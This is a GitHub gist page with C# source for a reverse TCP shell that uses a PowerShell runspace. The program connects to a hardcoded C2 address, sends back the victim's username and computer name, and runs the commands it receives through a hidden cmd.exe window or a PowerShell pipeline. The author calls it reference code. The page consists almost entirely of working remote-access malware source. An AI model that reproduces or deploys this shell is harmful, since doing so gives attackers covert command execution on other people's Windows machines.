Skip to content

Instantly share code, notes, and snippets.

@3xocyte
Last active August 13, 2018 07:42
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save 3xocyte/09069df4301cbabac9174dc67884a035 to your computer and use it in GitHub Desktop.
Reverse TCP shell with PS runspace
using System;
using System.Text;
using System.Net.Sockets;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Diagnostics;
// reverse TCP shell with powershell runspace
// by @3xocyte
// originally based on https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
// this is reference code for other projects; I wouldn't recommend using it as-is
namespace TCPConnectConsole
{
class Program
{
static void Main(string[] args)
{
try
{
// hardcoded C2
string server = "192.168.159.1";
int port = 80;
// create client and stream
TcpClient client = new TcpClient(server, port);
NetworkStream stream = client.GetStream();
// send connection string
string connectString = ("[*] running as " + Environment.GetEnvironmentVariable("username")
+ " on " + Environment.GetEnvironmentVariable("computername")
+ "\n[+] prepend \"psh \" to use PowerShell runspace"
+ "\n[+] use \"exit\" to quit\n");
byte[] connectBytes = Encoding.ASCII.GetBytes(connectString);
stream.Write(connectBytes, 0, connectBytes.Length);
stream.Flush();
// send prompt
string promptString = ("\nshell> ");
byte[] promptBytes = Encoding.ASCII.GetBytes(promptString);
stream.Write(promptBytes, 0, promptBytes.Length);
stream.Flush();
while (true)
{
if (client.ReceiveBufferSize > 0) // either be 0 or 65536
{
// convert buffer to string, trim trailing null bytes before passing to runspace
byte[] data = new Byte[client.ReceiveBufferSize];
stream.Read(data, 0, client.ReceiveBufferSize);
string command = Encoding.ASCII.GetString(data).TrimEnd('\0');
// run command and get result, append prompt, convert to bytes and send back
// run powershell command
if (command.StartsWith("psh "))
{
command = command.Substring(4); // cut "psh "
string result = Pshell.RunPSCommand(command);
result += promptString;
byte[] returnBytes = Encoding.ASCII.GetBytes(result);
stream.Write(returnBytes, 0, returnBytes.Length);
stream.Flush();
}
// exit if asked
else if (command == "exit\n")
{
break;
}
// otherwise just use cmd (code is everywhere)
else
{
Process cmdProcess = new Process();
cmdProcess.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
cmdProcess.StartInfo.CreateNoWindow = true;
cmdProcess.StartInfo.FileName = "cmd.exe";
cmdProcess.StartInfo.Arguments = "/C " + command;
cmdProcess.StartInfo.RedirectStandardOutput = true;
cmdProcess.StartInfo.RedirectStandardError = true;
cmdProcess.StartInfo.UseShellExecute = false;
cmdProcess.Start();
string output = cmdProcess.StandardOutput.ReadToEnd()
+ cmdProcess.StandardError.ReadToEnd() + promptString;
byte[] outputBytes = Encoding.Default.GetBytes(output);
stream.Write(outputBytes, 0, outputBytes.Length);
stream.Flush();
}
}
}
client.Close();
}
catch
{
// not for prod obviously
//Console.WriteLine("[!] error!");
;
}
}
// this class shows up Casey Smith's scripts, eg the original MSBuild AppLocker bypass
// Requires adding ref to System.Management.Automation.dll
// a new runspace is created for every command so things like current working directory is not preserved
public class Pshell
{
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
try
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
catch
{
string fail = "Failed";
return fail;
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment